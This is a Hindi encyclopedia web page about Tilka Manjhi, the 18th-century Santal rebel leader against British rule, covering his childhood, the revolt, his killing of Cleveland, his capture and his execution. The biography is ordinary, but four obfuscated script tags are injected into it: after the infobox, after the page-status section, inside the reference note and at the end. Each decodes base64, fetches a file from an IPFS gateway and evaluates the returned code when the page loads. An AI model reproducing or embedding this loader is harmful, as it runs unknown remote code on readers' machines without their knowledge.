तिलका माँझी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
तिलका माँझी
तिलका माँझी
पूरा नाम तिलका माँझी
अन्य नाम जाबरा पहाड़िया
जन्म 11 फ़रवरी, 1750
जन्म भूमि सुल्तानगंज, बिहार
मृत्यु 1785, भागलपुर
मृत्यु कारण फ़ाँसी
अभिभावक सुंदरा मुर्मू
नागरिकता भारतीय
प्रसिद्धि क्रांतिकारी
धर्म हिन्दू
आंदोलन संथाल विद्रोह
संबंधित लेख संथाल, बिरसा मुण्डा
विशेष राजमहल के सुपरिटेंडेंट क्लीव लैंड को तिलका माँझी ने 13 जनवरी, 1784 को अपने तीरों से मार गिराया। क्लीव लैंड की मृत्यु का समाचार पाकर अंग्रेज़ी सरकार डांवाडोल हो उठी और सत्ताधारियों में भय का वातावरण छा गया।
अन्य जानकारी तिलका माँझी ऐसे प्रथम व्यक्ति थे, जिन्होंने भारत को ग़ुलामी से मुक्त कराने के लिए अंग्रेज़ों के विरुद्ध सबसे पहले आवाज़ उठाई थी। उनकी स्मृति में भागलपुर में कचहरी के निकट उनकी एक मूर्ति स्थापित की गयी है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तिलका माँझी (अंग्रेज़ी: Tilka Manjhi ; जन्म- 11 फ़रवरी, 1750, सुल्तानगंज, बिहार; शहादत- 1785, भागलपुर) 'भारतीय स्वाधीनता संग्राम' के पहले शहीद थे। इन्होंने अंग्रेज़ी शासन के विरुद्ध एक लम्बी लड़ाई छेड़ी थी। संथालों द्वारा किये गए प्रसिद्ध 'संथाल विद्रोह' का नेतृत्त्व भी तिलका माँझी ने किया था। तिलका माँझी का नाम देश के प्रथम स्वतंत्रता संग्रामी और शहीद के रूप में लिया जाता है। अंग्रेज़ी शासन की बर्बरता के जघन्य कार्यों के विरुद्ध उन्होंने जोरदार तरीके से आवाज़ उठायी थी। इस वीर स्वतंत्रता सेनानी को 1785 में गिरफ़्तार कर लिया गया और फिर फ़ाँसी दे दी गई।

जन्म तथा बाल्यकाल

तिलका माँझी का जन्म 11 फरवरी, 1750 को बिहार के सुल्तानगंज में 'तिलकपुर' नामक गाँव में एक संथाल परिवार में हुआ था। इनके पिता का नाम 'सुंदरा मुर्मू' था। तिलका माँझी को 'जाबरा पहाड़िया' के नाम से भी जाना जाता था। बचपन से ही तिलका माँझी जंगली सभ्यता की छाया में धनुष-बाण चलाते और जंगली जानवरों का शिकार करते। कसरत-कुश्ती करना बड़े-बड़े वृक्षों पर चढ़ना-उतरना, बीहड़ जंगलों, नदियों, भयानक जानवरों से छेड़खानी, घाटियों में घूमना आदि उनका रोजमर्रा का काम था। जंगली जीवन ने उन्हें निडर व वीर बना दिया था।[1]

अंग्रेज़ी अत्याचार

किशोर जीवन से ही अपने परिवार तथा जाति पर उन्होंने अंग्रेज़ी सत्ता का अत्याचार देखा था। अनाचार देखकर उनका रक्त खौल उठता और अंग्रेज़ी सत्ता से टक्कर लेने के लिए उनके मस्तिष्क में विद्रोह की लहर पैदा होती। ग़रीब आदिवासियों की भूमि, खेती, जंगली वृक्षों पर अंग्रेज़ी शासक अपना अधिकार किये हुए थे। जंगली आदिवासियों के बच्चों, महिलाओं, बूढ़ों को अंग्रेज़ कई प्रकार से प्रताड़ित करते थे। आदिवासियों के पर्वतीय अंचल में पहाड़ी जनजाति का शासन था। वहां पर बसे हुए पर्वतीय सरदार भी अपनी भूमि, खेती की रक्षा के लिए अंग्रेज़ी सरकार से लड़ते थे। पहाड़ों के इर्द-गिर्द बसे हुए ज़मींदार अंग्रेज़ी सरकार को धन के लालच में खुश किये हुए थे। आदिवासियों और पर्वतीय सरदारों की लड़ाई रह-रहकर अंग्रेज़ी सत्ता से हो जाती थी और पर्वतीय ज़मींदार वर्ग अंग्रेज़ी सत्ता का खुलकर साथ देता था।

विद्रोह

अंततः वह दिन भी आ गया, जब तिलका माँझी ने 'बनैचारी जोर' नामक स्थान से अंग्रेज़ों के विरुद्ध विद्रोह शुरू कर दिया। वीर तिलका मांझी के नेतृत्व में आदिवासी वीरों के विद्रोही कदम भागलपुर, सुल्तानगंज तथा दूर-दूर तक जंगली क्षेत्रों की तरफ बढ़ रहे थे। राजमहल की भूमि पर पर्वतीय सरदार अंग्रेज़ी सैनिकों से टक्कर ले रहे थे। स्थिति का जायजा लेकर अंग्रेज़ों ने क्लीव लैंड को मैजिस्ट्रेट नियुक्त कर राजमहल भेजा। क्लीव लैंड अपनी सेना और पुलिस के साथ चारों ओर देख-रेख में जुट गया। हिन्दू-मुस्लिम में फूट डालकर शासन करने वाली ब्रिटिश सत्ता को तिलका माँझी ने ललकारा और विद्रोह शुरू कर दिया।

क्लीव लैंड की हत्या

जंगल, तराई तथा गंगा, ब्रह्मी आदि नदियों की घाटियों में तिलका माँझी अपनी सेना लेकर अंग्रेज़ी सरकार के सैनिक अफसरों के साथ लगातार संघर्ष करते-करते मुंगेर, भागलपुर, संथाल परगना के पर्वतीय इलाकों में छिप-छिप कर लड़ाई लड़ते रहे। क्लीव लैंड एवं सर आयर कूट की सेना के साथ वीर तिलका की कई स्थानों पर जमकर लड़ाई हुई। वे अंग्रेज़ सैनिकों से मुकाबला करते-करते भागलपुर की ओर बढ़ गए। वहीं से उनके सैनिक छिप-छिपकर अंग्रेज़ी सेना पर अस्त्र प्रहार करने लगे। समय पाकर तिलका माँझी एक ताड़ के पेड़ पर चढ़ गए। ठीक उसी समय घोड़े पर सवार क्लीव लैंड उस ओर आया। इसी समय राजमहल के सुपरिटेंडेंट क्लीव लैंड को तिलका माँझी ने 13 जनवरी, 1784 को अपने तीरों से मार गिराया। क्लीव लैंड की मृत्यु का समाचार पाकर अंग्रेज़ी सरकार डांवाडोल हो उठी। सत्ताधारियों, सैनिकों और अफसरों में भय का वातावरण छा गया।[1]

गिरफ़्तारी

एक रात तिलका माँझी और उनके क्रान्तिकारी साथी, जब एक उत्सव में नाच गाने की उमंग में खोए थे, तभी अचानक एक गद्दार सरदार जाउदाह ने संथाली वीरों पर आक्रमण कर दिया। इस अचानक हुए आक्रमण से तिलका माँझी तो बच गये, किन्तु अनेक देश भक्तवीर शहीद हुए। कुछ को बन्दी बना लिया गया। तिलका माँझी ने वहां से भागकर सुल्तानगंज के पर्वतीय अंचल में शरण ली। भागलपुर से लेकर सुल्तानगंज व उसके आसपास के पर्वतीय इलाकों में अंग्रेज़ी सेना ने उन्हें पकड़ने के लिए जाल बिछा दिया।

वीर तिलका माँझी एवं उनकी सेना को अब पर्वतीय इलाकों में छिप-छिपकर संघर्ष करना कठिन जान पड़ा। अन्न के अभाव में उनकी सेना भूखों मरने लगी। अब तो वीर माँझी और उनके सैनिकों के आगे एक ही युक्ति थी कि छापामार लड़ाई लड़ी जाये। तिलका माँझी के नेतृत्व में संथाल आदिवासियों ने अंग्रेज़ी सेना पर प्रत्यक्ष रूप से धावा बोल दिया। युद्ध के दरम्यान तिलका माँझी को अंग्रेज़ी सेना ने घेर लिया। अंग्रेज़ी सत्ता ने इस महान् विद्रोही देशभक्त को बन्दी बना लिया।

शहादत

सन 1785 में एक वट वृक्ष में रस्से से बांधकर तिलका माँझी को फ़ाँसी दे दी गई। तिलका माँझी ऐसे प्रथम व्यक्ति थे, जिन्होंने भारत को ग़ुलामी से मुक्त कराने के लिए अंग्रेज़ों के विरुद्ध सबसे पहले आवाज़ उठाई थी, जो 90 वर्ष बाद 1857 में स्वाधीनता संग्राम के रूप में पुनः फूट पड़ी थी। क्रान्तिकारी तिलका माँझी की स्मृति में भागलपुर में कचहरी के निकट, उनकी एक मूर्ति स्थापित की गयी है। तिलका माँझी भारत माता के अमर सपूत के रूप में सदा याद किये जाते रहेंगे।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 स्वाधीनता संग्राम का प्रथम शहीद, तिलका माँझी (हिन्दी)। । अभिगमन तिथि: 21 जून, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>